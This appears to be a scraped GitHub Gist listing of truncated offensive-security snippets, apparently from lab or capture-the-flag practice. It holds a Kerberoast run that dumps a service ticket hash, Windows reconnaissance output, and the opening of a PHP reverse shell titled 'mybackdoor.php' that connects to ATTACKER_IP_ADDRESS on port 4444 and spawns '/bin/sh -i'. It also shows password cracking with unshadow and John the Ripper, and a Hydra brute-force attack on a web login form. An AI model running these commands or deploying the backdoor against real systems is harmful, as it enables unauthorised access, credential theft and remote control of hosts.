This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #if defined(_M_AMD64) | |
| //#define WIN10 | |
| //#define WIN11 | |
| #define WIN2019 | |
| //#define WIN2022 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| PS C:\Users\webapp\desktop> Invoke-Kerberoast | |
| TicketByteHexStream : | |
| Hash : $krb5tgs$DANTE-DC/SQLService.home.local:60111:300B038D9A7EE3817D464C6668519294$F74FB4903769BCEF2 | |
| C04C086C67313A03B9E6E902E99E98C6A13755E5DA536494FC4800C3651311E8B3859DB017F3A2483339F7E377E91B55 | |
| 742E95E50A3B9A648C3F6D02B8E9AE385EF03A0B3F0662216806CE64C4703BB8CD9679D58F3DAE8A440DA3CACCE0B4B5 | |
| 880A17C14DA7CEDAB7CA916BABF3912380FB27F6089FD5829545FEE4DB1DBB318D7B8A0F46DECA9CE34B3EC468C96385 | |
| 33D0C1E947A121F55FC42EDD6BE23DDDE1759697E448CA35555D567A38183D465A39D6735764F435A9DB15ED33B5F5FA | |
| 3D4DF52B8996344D024C4F9FCB8D7DE50892B0D1060EB2E99C2FAF2786ED4C14B39C57FB1E3CDC9531FAC258997760DE |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| C:\Users\webapp>schtasks /query /fo LIST /v | |
| Folder: \ | |
| HostName: CLIENT666 | |
| TaskName: \OneDrive Reporting Task-S-1-5-21-1067839273-4045514936-2334618042-1103 | |
| Next Run Time: 2/25/2023 2:36:41 PM | |
| Status: Ready | |
| Logon Mode: Interactive only | |
| Last Run Time: 2/24/2023 3:52:53 PM | |
| Last Result: 0 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| C:\Users\webapp>netsh advfirewall firewall show rule name=all | |
| Rule Name: Windows Web Experience Pack | |
| ---------------------------------------------------------------------- | |
| Enabled: Yes | |
| Direction: Out | |
| Profiles: Domain,Private,Public | |
| Grouping: Windows Web Experience Pack | |
| LocalIP: Any | |
| RemoteIP: Any |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| C:\Users\webapp>netsh advfirewall show currentprofile | |
| Domain Profile Settings: | |
| ---------------------------------------------------------------------- | |
| State ON | |
| Firewall Policy BlockInbound,AllowOutbound | |
| LocalFirewallRules N/A (GPO-store only) | |
| LocalConSecRules N/A (GPO-store only) | |
| InboundUserNotification Enable | |
| RemoteManagement Disable |
c0d3x27
/ mybackdoor.php
Created
January 4, 2023 21:01
How To Attack Admin Panels Successfully Part 2
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| $ip = 'ATTACKER_IP_ADDRESS'; | |
| $port = '4444'; | |
| $chunk_size = 1400; | |
| $write_a = null; | |
| $error_a = null; | |
| $shell = 'uname -a; w; id; /bin/sh -i'; | |
| $daemon = 0; | |
| $debug = 0; | |
| set_time_limit (0); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| kali@kali:~$ john --rules --wordlist=/tmp/worlist.txt unshadowed.txt | |
| Using default input encoding: UTF-8 | |
| Loaded 1 password hash (MD5, crypt(3) $1$ [MD5) | |
| Cost 1 (iteration count) is 5000 for all loaded hashes | |
| Will run 2 OpenMP threads | |
| Press 'q' or Ctrl-C to abort, almost any other key for status | |
| Doris1995 (victim) | |
| 1g 0:00:00:28 DONE (2022-09-27 15:42) 0.03559g/s 2497p/s 2497c/s 2497C/s |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| kali@kali:~$ unshadow passwd-file.txt shadow-file.txt | |
| victim:$1$fOS.xfbT$5c5vh3Zrk.88SbCWP1nrjgccgYvCC/x7SEcjSujtrvQfkO4pSWHaGxZojNy.vAqMGrBBNOb0P3pW1ybxm2OIT/:1003:1003:,,,:/home/victim:/bin/bash | |
| kali@kali:~$ unshadow passwd.txt shadow.txt > unshadowed.txt |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| kali@kali:~$ hashid '$1$l5bL6XIASslBwwtsrtERDlbhTH76wE.bI66aMYSeDXKQ8s7JNFwa1s1KkTand6ZsqQKAF3G0tHD9bd59e5NAz/s7DQcAojRTWNpZX0' | |
| Analyzing '$1$l5bL6XIASslBwwtsrtERDlbhTH76wE.bI66aMYSeDXKQ8s7JNFwa1s1KkTand6ZsqQKAF3G0tHD9bd59e5NAz/s7DQcAojRTWNpZX0' | |
| [+] MD5 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| kali@kali:~$ hydra www.acme.com http-form-post "/account/login.php:user=doris&password=^PASSWORD^:INVALID LOGIN" -l doris -P /tmp/acme-recon-merged.txt -vV -f | |
| Hydra v9 (c) 2022 by van Hauser/THC - Please do not use in military or secret servic | |
| Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-09-27 6:55:21 | |
| [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:143443 | |
| [DATA] attacking http-post-form://www.acme.com/account/login.php:user=doris&password=^PASSWORD^:INVALID LOGIN | |
| [VERBOSE] Resolving addresses ... [VERBOSE] resolving done | |
| [ATTEMPT] target www.acme.com - login "doris" - pass "acme3456" - 1 of 14344399 [child 0] | |
| [ATTEMPT] target www.acme.com - login "doris" - pass "Acme1234" - 2 of 14344399 [child 1] | |
| [ATTEMPT] target www.acme.com - login "doris" - pass "acme8936" - 3 of 14344399 [child |